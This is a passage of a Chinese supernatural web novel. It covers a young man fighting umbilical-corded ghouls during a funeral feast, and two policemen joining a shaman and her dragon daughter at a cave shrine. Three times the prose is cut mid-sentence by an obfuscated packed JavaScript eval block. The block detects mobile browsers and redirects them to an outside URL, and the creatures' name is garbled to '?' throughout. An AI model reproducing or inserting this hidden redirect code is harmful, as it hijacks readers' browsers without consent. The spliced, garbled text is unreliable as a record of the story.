原本只是窸窣的动静开始激烈起来,施霜景压制住本能的恐惧,从镂空窗看主路,人们又开始吃喝起来,可下一秒,施霜景的眼前蓦地探出?人的脸来,只隔镂空的水泥雕窗,?人的呼吸扑在施霜景面上,一股难以形容的极度酸臭味熏得施霜景立刻倒退。 只见这些?人学着刚才施霜景的动作,顺墙攀爬,动作极快。施霜景拔腿就跑。不止一只?人这么做,顺着墙一排看过去,至少七八只?人正在翻墙,有些甚至已经翻过墙头、跳进小区。现在天色已是夜晚,却还没到路灯亮起的时间,施霜景只能看到轮廓。 吃祭品并不能让施霜景免除人身安全的威胁。施霜景忽然意识到这点,整颗心都悬空了,很有种上当受骗之感——他以为佛子会罩着他的。佛子这么厉害,可一到关键时刻就不管他死活。施霜景真是和人同居久了就下意识相信对方。蠢得要死。 施霜景原本想跑向小区大门,离开封闭的小区,但?人的动作太快,他们似乎也有一定的智力,有两三只?人甚至已经在小区门外等着了,在地上趴行,像硕大的蜘蛛,或者脊背稍稍隆起,像垂着尾巴的狂犬。施霜景的夜视能力还不错,他在暗夜里隐约看见?人身上都连着肉管,如脐带连着婴孩。于是施霜景调转脚步,往楼里跑。他只能寄希望于这些脐带的长度有限。 毫无疑问,这些东西是“物理意义”上存在的。他们有实体,有身体构造,有生理机能。施霜景可以触碰他们,他们也可以触碰施霜景。 一楼,二楼,施霜景上楼的速度很快,一连上到五楼,这才有功夫回头确认?人是否跟上来了。没有。正当他松一口气时,忽然看见楼梯与楼梯间休息平台的水泥格栅外爬上了熟悉的黑影,与此同时楼下的墙面上也出现了四肢,施霜景咽了咽口水,这栋楼最高也就八层,施霜景开始试探性地去拉左右两户的房门,寄希望于有哪家的门没有锁好。 五楼没有。六楼没有。来到七楼,施霜景气喘,依旧是拉动左右的门,忽然,右边那户的房门被施霜景拉开了。施霜景顾不得别的,心里直念叨抱歉,闯进别人家。 这一户进门的地垫旁散乱地摆放着鞋子。施霜景反手锁门,弓着腰走进去,随时做好道歉的准备,万一这家还有人呢?室内无光,遮光窗帘紧紧地合着,施霜景也不敢开灯,只能掏出手机,用手机屏幕光照亮面前的空间,连电筒都不敢开。 笃笃,笃笃。 施霜景听见身后铁门传来这样的声音,像是用凸出的骨头在敲门。施霜景摸索着进到客厅,背靠沙发蹲坐在地。 现在反悔还来得及吗? 在施霜景看来,这完完全全是无妄之灾——不论是对他还是对厂里其他居民。到底发生了什么事?这就是罗爱曜所说的“好戏”吗?现在想想,罗爱曜提出头七这一特殊节点时,他的语气让人捉摸不透,有点看热闹,有点兴奋,有点鄙夷,还有点转移话题,唯独没有出乎意料。 一剑霜寒:我被堵了,有点危险 一剑霜寒:你能来帮忙吗? 一剑霜寒:我在一户人家里躲着 罗爱曜:对方正在输入中…… 来了,有回音了。施霜景紧张地双手捏着手机。 罗爱曜:老实待着,别乱跑。 又等了几十秒,一分钟,两分钟。罗爱曜的回复到此为止。施霜景着急起来,手指如飞。 一剑霜寒:你能看到消息?你在哪里? 一剑霜寒:上次我们在福利院见到的家伙又出现了,就藏在流水席下面 一剑霜寒:他们为什么要追着我跑? 一剑霜寒:你是不是之前就知道头七会发生今天这样的事? 一剑霜寒:这是不是…… 一剑霜寒:发生的这些事是不是和你有关? 无人应答。 施霜景对什么神啊佛啊之类的东西一窍不通,但经历了这么多事,他再迟钝也该建立起这样一个认知——罗爱曜不是什么好鸟,甚至可以说是烂人一个,不,烂佛一个。比起刘奶奶,罗爱曜更像那个搞邪教的。只是施霜景以为佛子只是冲他来,没想到佛子才来励光厂一周,就要搞出这样大的动静。 皮肤上这些金色的诫文像流沙在土地上汇聚成河,就算在幽暗的室内,施霜景依旧能见到诫文在隐隐透出辉光。 窗外传来敲打栏杆的声音。这家也安装了防盗栅栏。施霜景抱着膝盖,一侧有?人贴附在门上,细细碎碎如同小儿玩乐一样地敲门,另一侧有?人攀着防盗栅栏,像监视放哨的兵。施霜景满脑子都是刚才路过流水席时,众人回头求救。他可以救吗?要怎么救? 罗爱曜收起手机。他会关心施霜景的安危,但由于施霜景是个没用的人,罗爱曜暂时没空搭理他。 只要施霜景不会被人半道截杀就行。 经罗爱曜指示,小诃利帝已经去往焚香的法场,她是主角,等候仪式进行到下一阶段。小诃利帝作为鬼子母神的显现,本身威力并不很强大,至少她驾驭不了这种万人级别的法会。真正的主法者是罗爱曜,也就是佛子。 在整个励光厂发生的所有事情,一切的一切,罗爱曜都看在眼里。他现在已经不会再掉以轻心,还是上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437312|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次施霜景在杨玲玲家被人捅杀一事带给他的教训。不可因为懈怠而低估所有人类的能动性。 前几天郎放和警察碰头,罗爱曜已知晓。今日郎放让警察上门带施霜景走,罗爱曜也知晓。他以为像土狗一样招手即来的施霜景会摇着尾巴跟着警察走呢,可施霜景还挺乖的,罗爱曜对此表示满意,这一忠诚的表现值得更多奖赏。这些警察和郎放去了山洞的鬼母庙,罗爱曜持续观察,他知道这些人想干什么。 无非就是希望在人间的法理上重提旧事,给一个交待。 不论是地上的功德还是地下的因果报应,随着人类哲学和文明制度的发展,法律成了这种因果的提前报——比如一个人犯了杀人的罪,在人间已经服刑,那么下到地府,不管是受哪一个宗教的审判,都会衡量他们尚还活着时,是否已经悔过,是否已经付出代价,这样一来,兴许在地狱受的刑罚能稍有减轻。法律有不完备之处,这种不完备之处就让其他的执法者进行二次审判,但不管怎么说,法律和刑罚衡量已经是现世报,罗爱曜也好,地藏王菩萨也好,其他教的例如阴曹地府阎罗王也好,天父也好,不会妄自加码。 警察也是很麻烦的职业。警察、法官、检察官、律师……这些都是这条现世报因果链上非常强硬的一环。他们是人,他们会出错,但对他们的罪罚是另一条逻辑线,对普通人的清算法不适用在他们身上。 罗爱曜来到山洞口,此时天色全暗,山洞内隐隐约约打着亮光,表明里面有人类正在活动。罗爱曜对郎放不耐烦,对郎放女儿那条小龙不耐烦,对警察不耐烦。 但他也对小诃利帝养的那些?人不耐烦。真是一群不守规矩的孩子。要“流水席”的供养,又觊觎施霜景。罗爱曜刚往山洞里走两步,脑海里就显现出这些饿鬼流涎水的画面,针孔般的小嘴里发出嘟嘟囔囔的声音,又像是模拟咀嚼。 “吱呀”一声。门开了。 罗爱曜的烦躁感忽然登顶。如果他有人类的血压,那这一秒钟他的血压一定骤然飙高。某种灵魂的牵扯感,一时间所有注意力都被拽走。什么仪式,什么因果,什么按部就班,什么运筹帷幄。 施霜景听见门打开的声音,就是这间房子的大门,刚刚反锁过的门。施霜景立刻打开手机手电筒,那张畸形、脏污、恶臭的脸与整个匍匐在地的身体突然暴露在光下,嘴里的空嚼声更甚,昭然若揭的饥饿感。?人脸上的肌肉走势忽然扭曲,像是咧出笑容,他伏地爬行,眨眼间就来到施霜景的脚旁,而施霜景的余光看见有第二只?人进入大门。 可惜施霜景是一个一米八的、常年打工以至于力气很大的年轻人。躲无可躲,便无需再躲。施霜景抄起茶几上的烟灰缸,猛地朝?人的脑袋上砸去。 一下,两下。?人的头骨很硬,石头一样,他发出吃痛的怪叫,四肢乱舞,施霜景强忍恶心,单手扼住?人的后脖颈,将他整只压在地上。 他打不过罗爱曜那鎏金的佛像,但也把他的化身小佛砸掉一个脑袋。现在这?人是实体,不,是□□。早知道施霜景就去厨房找刀了。施霜景四下张望,忽的看见手边不远处的瓷砖地上躺着一把醒目的金属器具,像精致版的哑铃,中间细,镂空的两头膨起,精致如铁笼,手握中间部分圆润如宝珠,而这器具的两端尖锐地凸出,昭示其攻击性。 施霜景伸手握住这宝具,眼里闪过一丝狠意。 36.鬼子母神篇(十二) 这宝具入手冰凉,沉甸甸的,因得中间的手握处设计精巧,十分趁手。遭施霜景压在身下的?人体型大概是一米六的成人,力气极大,可其匍匐的姿势对上施霜景这种灵活行动的高个子并不占优势。施霜景左手持宝具,原本一顺手就要将宝具抡砸在?人的后颈处,对人类而言一招毙命的罩门,地上的手机被?人挣扎的手脚推远,忽的照出那根肉红色的脐管,施霜景当即换了目标。 他猛地将?人往地上一按,原本撑起几十厘米的折肢也被再次压平,施霜景一边按着?人的后颈,一边稍稍旋身。他伸腿,终于踩到了那根软乎乎如肠的东西。?人发出一声小孩般的高音尖叫,施霜景用脚跟一勾,让肉管靠近。他高举宝具,用尖端的小刺加十成的蛮力,愤然往下一砸,就算只是个秃铁棍也足以将这软肉砸得破裂分离。 脐管起初是被砸扁,第二下,第三下,扁无可扁,就被锉在地上,施霜景力气不减,在第六下时活生生将脐管砸断——这比施霜景想象中轻松许多。另一只手按住?人,砸第一下时?人暴走,施霜景差点按不住,干脆压了半边身子的重量下去。 将金属宝具往地上抡,难免会回震到施霜景的手,他的右臂被力劲反弹得发麻,脐管断裂的瞬间,?人就消停了许多。施霜景缓缓起身,看向地上的?人,可先于视觉的是超乎想象的热度,施霜景被猛烫一下,反射性地缩手,这时地上的?人已不动弹了,可从蓬乱的发丝开始,火焰丛生,只眨眼的功夫,?人的整颗脑袋就燃烧起来。 更恐怖的是,?人并没有死。火焰释放而出后,?人猛地弹身而起,其折断的下肢徒劳地想站立起来,无果,折断的手臂胡乱地摸着,像是要找到什么可以搀扶倚靠的东西,摸过茶几。火光照得整间屋室大亮,这火是真实存在的,茶几上的作业本已经受热燃烧起来,很快,随着?人起身而不能的挣扎动作,其他物体也一件件遭殃。 施霜景握上宝具就想跑,刚刚进门的另一只?人已经退了出去,屋外竟然还有两只?人守着,他们忌惮室内已是火人的“同伴”,不敢进室内,但也不愿意放施霜景走。 室内正极速地积累热量,施霜景额上冒汗,幸好他还背着书包,课本和作业差点就被烧了。不行,必须得出去。施霜景一狠心就进了厨房,很快就找到了这家人使用的中式大菜刀。左手宝具,右手大菜刀,施霜景踢开房门,与攀在墙上的?人猝不及防地对视。施霜景手上那把菜刀磨得雪亮,他用刀背敲了敲门框,像故意发出声响吓走昆虫,墙上的?人发出挑衅的嚎叫,但确实没有再继续靠近了。 砍脐带有用。 不知道这些?人的智商有多少,可很显然他们也没适应脐带这回事。伏在墙上的?人俨然忘记自己身上还牵着根肉线,随着他的动作,这根粉红肉线醒目地悬空着,微微垂下。施霜景丝毫没有犹豫,右手执刀砍向那根脐管。 脐管肉乎乎地不受力,第一下没有砍中,墙上的?人察觉,尖叫着从墙面爬回地面,楼道里此时有三只?人,虚开的房门里看见室内的大部分家具都已开始燃烧,很快就成了通红的火窟。施霜景反手关上房门,阻隔空气的进入顺带隔火。他心里真是抱歉,不知道怎么会砍几刀反而砍出火来,对不起这家人。 啊!他的手机! 这下完蛋了,痛失求救渠道。施霜景心如死灰,可眼前的危险很鲜活,得打起十二分注意,他只能强定心神。往楼上跑就要上天台了,不确定天台会不会更不安全,天台是开放的。楼道里很逼仄,刀也可能伤到自己。就在这时,地上的?人已经贴在施霜景的脚边,用脸蹭开施霜景的裤腿,皱缩如针孔的小嘴贴在施霜景的脚踝上,竟然是一下一下地嘬吸,这一下给施霜景恶心坏了,他拔出自己的小腿,手靠着楼梯扶手,猛踹这?人的脑袋。 有?人无视地心引力,四肢贴在天花板上,竟是突然松开手脚,直直落下,砸在施霜景身上。施霜景被砸得几乎要吐血,可双手还稳稳握着武器。刚刚施霜景被砸那下没有完全让他摔倒,施霜景稳住身形,瞄中那只玩自由落体的?人,刀锋随即而至,刀刀砍在脖侧,腥血飞溅,热乎乎地洒了施霜景半身。那?人被砍得暴叫起来,和刚才被砍断脐管的?人发出了不同类型的叫声,遭人砍劈的叫声更加粗粝和狂躁。施霜景砍了数刀,发现?人的行动丝毫不受影响,只是流血。不行,还是要砍脐管。 一回生,二回熟。施霜景交换双手武器,右手执宝具,他优越的夜视能力很快帮他找到了两根脐管,在地上交缠层叠,他无视往他身上爬的?人,开始专心地对付他们的脐带。这些?人吸吮施霜景的皮肤,施霜景时不时能感觉到非常细密的小牙磨过皮肤表面,却因为这些?人的口型而受限,他们无法使用牙齿来撕咬施霜景。 这其实非常不舒服。施霜景如果能有第三视角的天眼,就会看见身上的那些金色诫文仿佛要被吸走那样,连带着透着肤黄色的生命力一起。施霜景越砸越觉得手上力道减轻,还以为是自己累了。他定神,集中注意力,重新酝酿力量,砸了几乎二十下,再用脚狠狠一跺,两根肉管断开。 楼道内火光熊熊,施霜景下楼。第三只?人见大势已去,仓皇地离开。施霜景气喘吁吁,很犹豫到底是马上出去还是再等一等。?人的攻击力不高,更多还是令人恶心。一身臭血黏答答,施霜景无端地想到了汽油,因为这些?人很易燃。一想到这点,施霜景还是快步下楼,回到小区。 从一楼回望七楼着火的那家,火势已是相当旺了,黑烟阵阵,火光灼目。施霜景又透过镂空墙窗看流水席,有人类起身了,明显被现在的情势吓得不轻,在其他仍相谈甚欢的座位间艰难穿行。那些?人都到哪儿去了?施霜景谨慎地往小区门口移动。 ?人的脐带连接着流水席,这让他们没有办法躲藏。这些脐带是控制人类的手段吗?施霜景很犹豫,他现在手里有武器,可一出小区回到流水席,他不知道还有多少只?人。这诡谲的种种都让施霜景很没有现实感,唯一的光源竟然是正在燃烧的民房,施霜景沉下脸色,看向右手的宝具。 这不是可以随便出现在寻常人家房子里的东西,很明显是宗教用具。是谁的?罗爱曜的吗?还是郎放的?施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437313|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜景不会用,只能拿来当趁手的榔头。肾上腺素疯狂分泌,施霜景很想做些什么,可恐惧仍未消散。 一个女人忽然出现在小区门口。虽是冬日,那女人穿得单薄却得体,是套装。施霜景觉得这身形有些熟悉,再一定睛,发现是刘茜。 施霜景忽然停步了,他们之间仍隔着三四米的距离。施霜景只听见刘茜说:“小景,过来,不要捣乱了。”刘茜伸手,像家长招回正在小公园玩沙的孩子。 “你真的是刘奶奶?” “还能是别人吗?” 可能是因为手里有沾血的刀吧,施霜景的气质看上去比他当男高时冷峻百倍,这样的气质反加持在他身,就使他比平常生活中更聪明警觉一些。施霜景说:“你怎么会在这里?你也来吃流水席了吗?” 这种从容,一看就有鬼。施霜景到底是流过浪的人,虽然眼前的刘奶奶养了他十年,可现在的氛围明摆了就是连自己的爹妈都不可相信。刘茜想往前走,施霜景后退,忽的撞上一个柔软的胸膛。一双骨节分明的手搭上施霜景的肩侧。 “跟小诃利帝走吧,你的刘奶奶不会害你。”罗爱曜的声音里有笑意,施霜景这还是第一次听罗爱曜用这样的语气说话,很有兴味,唯恐天下不乱。 施霜景险些回身用刀指罗爱曜了,可惜罗爱曜的力气不是人类能有的,施霜景莫名感到委屈,刚才被吓个半死,好不容易鼓起胆子来做了坏事,这个背叛他信任的家伙就笑意莹莹地出现了。“这和你有什么关系?!这些流水席,还有刘奶奶……”施霜景吞下后半句:“这一看就是在干坏事。” 肯定是罗爱曜带坏了刘奶奶!施霜景崩溃。 “你已经选边了,很乖。”罗爱曜揉着施霜景的脑袋,伸手推着施霜景的后背,让他往前走,“胆子也很大,那你接下来能参观整个仪式了。跟小诃利帝走,接下来她会保护你。” 还没等施霜景说话,罗爱曜额外解释道:“我现在知道了,你的体质有问题,我的诫文好像在你身上会有额外的作用,就是会多生本不该有的纠缠。这事我们之后再谈。金刚杵用得很顺手啊,送你了。” 施霜景又感到一股邪火往天灵盖钻:“你刚才在旁观?” 罗爱曜不回答,不知道他为什么不回答。施霜景被半强迫地推向刘奶奶,刘奶奶立刻握上施霜景握刀的那只手,轻巧地使力,就将他手上那把菜刀卸了下来,往地上一丢。这让施霜景紧紧握住金刚杵,罗爱曜说要送他的。该死,这肯定不是礼物,只是手里不能没有武器。 把施霜景交给刘茜之后,罗爱曜再次消失。施霜景没有注意到,他的脖子环戴上了一圈青金石细链,象征罗爱曜的蓝色。诫文没用,拿祭品喂祭品只会带来诡异的效果。最简单的还是庇护物,这下是人都能见此蓝如见佛子了。 刘茜握住施霜景沾血的手,他们一出小区,主路竟然空空荡荡。刘茜就这样牵着施霜景往路的尽头走去,像幼时刘茜牵着施霜景从那个山坳走向城市,从动荡走向稳定。施霜景怕,但刘茜太像母亲,甚至比他仅剩记忆里的母亲更像母亲。 37.鬼子母神篇(十三) 谭鸿信、林鸣跟着郎放和他女儿一起进入山洞,很快就看见那尊彩瓷女神像,但也发现这供桌和女神像的摆放位置有些奇怪,横在路中间,供桌后还有一截路,只是因为黑暗而看不见底。 谭鸿信愈绕过这供桌直接往后去,他手上拿了大功率手电筒,有为这一小队人照明的义务。但小女孩拉住了谭鸿信的衣服下摆,谭鸿信记得这小姑娘叫蒋念琅。 “叔叔,先过来拜一拜。” 如果换作其他小孩,谭鸿信会让大人把小孩带离这个地方,但前几天谭鸿信去找郎放时,这诡奇的小女孩就已经给谭鸿信留下很深刻的印象了。那天谭鸿信直接拜访了郎放在励光厂的居所,蒋念琅来开门,谭鸿信就见到郎放坐在客厅的地上搓草绳,郎放抬眼,也不说话,就朝谭鸿信努努下巴,蒋念琅从门边的鞋柜上取来一丛芭茅,往谭鸿信身上用力抽打*1,口中念念有词。这场景太封建迷信了,谭鸿信当即皱眉,有点想亮身份。 草籽碎叶扑进谭鸿信的眼睛和嘴巴里,谭鸿信往后退了一步,抬手欲制止蒋念琅,却忽的发现他无法再往后退了,明明身后空无一人,却觉得后背抵上墙面。那几秒里,谭鸿信只能被迫挨这小女孩的草鞭子,抽打数十下之后,蒋念琅松一口气,这才给谭鸿信找了鞋套,“警察叔叔进来吧。” 明明谭鸿信还没有自我介绍。明明谭鸿信准备藏住自己的警察身份。 回忆中止。那天在郎放家所待的半天是谭鸿信这辈子最难以解释的半天。太乱了。世界第一次以这样的方式展现在他眼前。不过至少现在要做的事非常明确。 蒋念琅背了一个成年人用的帆布袋,她今年是刚上小学的年纪,可个子已经比同龄人要高一些,背这种帆布袋也合适。她将帆布袋里的东西一一分给谭鸿信、林鸣和郎放。是一个用草绳紧紧捆扎的小包裹。 郎放向彩瓷女神像行礼,摆贡果,擦拭神像,跟其他普通信众所做的没什么区别。行完第一层礼,郎放拉开夹克,从内兜里取出一把小匕首。郎放指挥林鸣和谭鸿信跪在面前的蒲团上,他俩是纯种人类,先让他俩拜神。 “闭眼,什么都不用想,双手握住你们手上的贡物,我说可以弯腰磕头的时候就连磕三下。” 谭鸿信压抑住吐槽的欲望。他回老家拜先人都没这么虔诚过,还磕头。只见一旁的林鸣马上就按郎放的指示闭眼、双手握贡物了,特别虔诚。谭鸿信也只能照做。 在闭眼的黑暗中,谭鸿信听见郎放的脚步声与念咒声,带有明显的西南方言音调,郎放曾经对谭鸿信解释过:“我修行的不是主流宗教,你可以看作是G省的原始巫术中最神秘的一支,要流血、杀生的。”他是巫师,不是天师。郎放和他女儿一身巫性,巫性代表着最阴晴不定的原始情绪,好在郎放这人没啥情绪波动,凭空多生出一点安全感。 “磕头。” 谭鸿信闭眼,咣咣咣磕了三下,每一下都以头点地。他根本没打算这么做的,腰不知不觉就弯下去了。 “睁眼,把贡物投进火里。” 谭鸿信睁眼,忽的发现面前热腾腾烧着一个火盆,靠得非常近。谭鸿信暗自心惊,按他那种虔诚磕头法,刚才不得把脑袋磕进炭盆里啊?林鸣又先他一步把手里的贡物丢进火里,谭鸿信赶快跟上。 只见那草绳包裹的贡物立刻燃烧起来,外圈的干草很快就烧尽,暴露出内容物来。谭鸿信盯着火里烧成黑乎乎一团的贡物,总觉得这贡物好像在动,不知是跳跃的焰光影响了他的视力,还是这贡物里面本来就是活跳跳的生物。 火盆里突然爆响起一阵噼啪声,那漆黑贡物在火里猛挣几下,竟然跳出了火盆。贡物依旧在燃烧,可这贡物像是想要逃离这热度一样,在地上随机地滚跳,真像是烧了一只老鼠或小兔子,有些残忍。“啪叽”一声,郎放踩死一只;小女孩则是在另一旁找到了另一只,双脚并拢,跳着踩爆了贡物。 这是什么东西?谭鸿信的心揪成一团,一身正气在此时也逃得七零八落。只听见郎放继续说:“你们把火盆抬到门口,摔火盆会不会?” “会。”林鸣朝谭鸿信使眼色,让他帮忙,两人各抬起一边。谭鸿信没看出来林鸣对这种事的接受程度这么高啊!他就不会摔火盆。这是哪里的习俗?不过谭鸿信一家非常幸福美满,爷爷奶奶、姥姥姥爷都还俱在,确实是轮不上他去了解这些。 两人抬起火盆,令人惊异的是,火盆竟然不烫。他们走到山洞前,此时天色已经不对劲起来,天空的色阶像是被调整了,灰度增加,明度降低,非常不自然。“我倒数三二一,喊‘一’的时候就脱手。”林鸣说。 三,二,一。砰。碳火的噼啪声,炭块滚跌在地面的啪嗒声。林鸣忽然蹲下,瞧着烧成灰白的炭块,“谭鸿信,你去找根树枝给我。”他道。 谭鸿信去了,找了根粗粗的树枝回来,林鸣用树枝挑拣着火盆里的剩余物,这看着看着就连谭鸿信都觉得不对劲了。 “这是……骨头么?”谭鸿信试探性地问道。 林鸣不说话,默默拨拉着剩余物,似乎在归类。这些骨头都很小,刚才藏在火盆里压根看不出来。大约几分钟后,林鸣估摸着这些骨块已经冷却了,就用手捏起这些骨头,另一手掏出手机,打开手电筒,在光下专心致志地观察起来。 “这些如果没有看错的话……是舟状骨,这些是跖骨,都是人类手脚部分非常小但是有辨识度的骨头。” “……” 郎放朝洞外的双鸟组合吆喝,让他们回来。林鸣用手拢了拢这些骨头,让谭鸿信过来,分了一部分让谭鸿信揣着,另一部分则进自己兜里,他说:“证据总不能只放在一个人身上。” 双鸟组合返身回山洞,郎放和他女儿也行礼,这回他们身前没有火盆了,同样是磕头,烧贡物。只不过他二人的方法更加危险和残暴,郎放双手捧着两枚贡物,让蒋念琅在他手心点燃。这些贡物开始泛起活性,郎放就双手合拢,捏爆了贡物,满手黑汁。 做完这些,郎放缓缓解释道:“这些草绳都浸过松脂,裹着的是牛心,羊心和马心。你们俩刚才拿着的是牛心和羊心,代表她的父亲和母亲。我和念琅拿着的是马心,代表她的兄弟姐妹。如果我不这样祭拜她就带你们进去,她会发怒,而且厂里现在正在举办法会,大概率会为她加持——她的法力会显著提升。我们现在进去不是为了打断厂内正在进行仪式,而是减少仇恨的影响。” “那为什么火盆里有骨头?”林鸣问。 郎放说:“很难理解吗?挖了人祖坟。不然这些牲畜的祭祀怎么用来‘代表’人类?” 郎放一手的内脏汁液,并不打算擦干净,他表示他们可以进一步往山洞里走了。谭鸿信谨慎地问道:“如果我们刚才不祭祀就往里面走……会出什么事?” “会出不来。”郎放说,“看见野山洞都知道不要乱钻,这山洞里有东西,就更不可能放你们出去了。” 谭鸿信收声。他一掏兜就摸到被火烧过的骨头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445410|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天哪,早知道带几个标本袋来了。 四人走到洞底,谭鸿信手上的手电筒一晃,正好照出缺了头的石像,以及石像前那道一米五宽的深沟。郎放说:“法医,刑警,我带你们来不是让你们来旁观的。现在这深沟底下有鲜尸一具,但它绝对是非自然形成的,死亡时间大概在清朝……我们拉到这尸体之后要做解剖,要确认死因,然后要用其死亡线索来超度她的怨气——这样当她成为鬼子母神之后,慈心会压过邪心。现在就让她成神会不安全……” “等等,什么意思?怎么是清朝的尸体?我以为你让我们不要对看见的东西‘装不知道’,我以为这里最多也就是十几二十年的案子……”谭鸿信打断郎放的话。 林鸣打断谭鸿信,这谈话的节奏是滑稽也是不安,一个打断另一个,林鸣说:“先把尸体拉上来吧。我们要下去吗?这底下多深?这种山洞深处、地沟里面一般不能随意进人,充盈着有毒气体。” 一只细瘦的手臂高高抬起,蒋念琅自告奋勇,用打报告的语气说:“当然是我去!人类都是很脆弱的,你们等我就好。” 谭鸿信忍无可忍,打算将蒋念琅拉到自己身边,离郎放远一点,“我上次就想问了,这是你‘女儿’吗?我回去就让同事查了系统,她有同姓氏的亲爹,你单独一个户口,怎么就能证明她是你女儿了?我告诉你,虐童的事不允许发生啊,我们是警察,你别太过分。小姑娘动画片看多了脑子不好使,大人还能当真?!” “谢谢你们的关心,你们是好警察。”郎放十分客气。他是真心这么认为的。如果天底下的警察都像谭鸿信这样愿意多问一句,那很多事都不会发生了。郎放说:“我和她爸搞同性恋,户口问题没办法。我身体比较特殊,我和她爸的‘物种’也不太好明说,但她确实是我生的。我在国内搞这些东西,她爸爸现在主要在海外做业务,比较忙,就让我照顾。我是不大会照顾孩子,但……我支持让孩子多锻炼。” “叔叔们还是先戴防毒面罩吧?”蒋念琅从帆布袋里掏出两个防毒面罩,塞到谭鸿信和林鸣手里。两个警察犹疑,蒋念琅则是将帆布袋交给郎放,站在一旁松了松筋骨,拉伸、转腰、动脖,一套动作下来,蒋念琅定住,忽的与谭鸿信对视,说道:“我先下去给尸体做处理,做完之后带她上来。你们把裹尸袋准备好。” 话音刚落,谭鸿信猝不及防见到了自己这辈子都没想过会见着的东西。 洞内光线不足,鳞片所能折射的光大多来自谭鸿信的手电,原本照射在蒋念琅脚下的最白色的灯光照出花青色底色,而在幽暗之处,龙鳞玄黑。一开始谭鸿信根本不知道这是什么,只知道是生物,其体型合适,是的,在谭鸿信脑海中就划过“合适”二字——合适这洞穴,合适这场景,合适这恐惧和雀跃对半开的心思,再大就恐惧,再小就滑稽。他只见到龙尾高高地荡起,然后随着龙身的下潜而溜滑进深沟,消失在众人眼界。没有怀疑过是蛇。当下马上就觉得是龙。不知道为什么,从龙鳞到龙鳞所携带的粉尘物质,洒了一地像碎星,这粉尘物质轻轻地同频震动,几秒后就均匀分布在洞穴此处,围绕着众人。 郎放好心地解释道:“她爸爸平时都不允许她现出真身的,更宁愿让她跟我学巫术。” 林鸣当即打开书包,倒空一个装标本的罐子,试图搜集这些悬浮的微粒。全世界都疯了,他得留点证据! *1:打芭茅,苗族巫术风俗,就是打走晦气的一个做法。芭茅长得有点像芦苇。 38.鬼子母神篇(十四) 深沟里逐渐传来鳞片摩擦岩壁的嚓啦声,谭鸿信被硬控几十秒,脑海里一直反复轮播刚才手电光照上龙鳞的视觉记忆。只见龙尾,不见龙首。龙到底长什么样子?跟图腾上的龙长得像吗?不过不同的图腾有不同的龙吧?如此神秘,可龙鳞的质感很确定。刀枪不入,水火不侵,一看就是生物演化到极致的铠甲。精致层叠到某个程度,就像工艺品。排列有度、线条考究的战甲就算实际作用不佳,也会带神话或鬼冥意味,比如金缕玉衣。谭鸿信满脑子都在想这些事。 林鸣则像是退回了童年,试图用标本瓶搜集这些幽浮的闪光的细尘。郎放走过来,他手上沾了贡物内脏汁液,不好直接碰林鸣,只好用手肘杵了杵他,“我建议你不要乱来。这些发光细尘也是我女儿的一部分。你知道‘龙气’吗?她和她爸爸比起那种稳定的龙形态,其实更擅长用这种弥散的形态。” “你们真有想象力。”林鸣吐槽道,“现在是科学时代啊。你说她是某种生物都还可以理解,气态是什么意思?” 郎放耸耸肩,他当年只读到高三就没有继续上学了,用科学的套话来解释这些现象是林鸣这类人所擅长的。他丈夫也擅长,可他丈夫现在不在。要这次玩砸了还不知道他丈夫会是什么反应呢,昨天打电话还装作一切都好。 “我不能理解。”谭鸿信戴着防毒面具,呆呆地说,“就算……就算你女儿是龙吧,她的衣服呢?她一会儿要穿什么?” “这些发光粉尘的原料是织物。衣服瞬间燃烧了,快过你肉眼的可视速度。”郎放说,“她会用这些粉尘来表示自己的龙气弥散状态,像现在就是一个均匀溢出的状态,表示深沟底部并不危险。她会用这样的弥散形式保护我们。” 双鸟组合无言以对了。就算……就算这是在装神弄鬼,世界上真的有这么闲的人吗?这完完全全自成体系了。郎放长着一张不会骗人的脸,他说话的语气好像他女儿的存在是天经地义。两个土老帽人类彻底放弃反驳。 郎放之前和双鸟组合解释过佛子,也就是罗爱曜的来历。很简略,因为郎放对佛子的定义没有史料或是佛教经典的支撑,但他知道存在着这样一个佛子,而且是本质主义层面的认定。类似于如果你认定地狱真的存在,那么佛子就真的存在。 结果没想到郎放和他女儿也不简单。 双鸟组合像两只小鸡仔。谭鸿信和郎放同岁,林鸣只小一岁,按理说都是同龄人。这疯狂的世界! 林鸣放弃治疗,蹲下来展开裹尸袋。过了大约五分钟,鳞片摩擦岩壁的声音愈发靠近地面,郎放对刑警和法医说:“你们两个现在背过身去,绝对不能回头,我和念琅把尸体装好袋之后,你们再回头。” “回头会怎么样?”谭鸿信欠欠地问道。 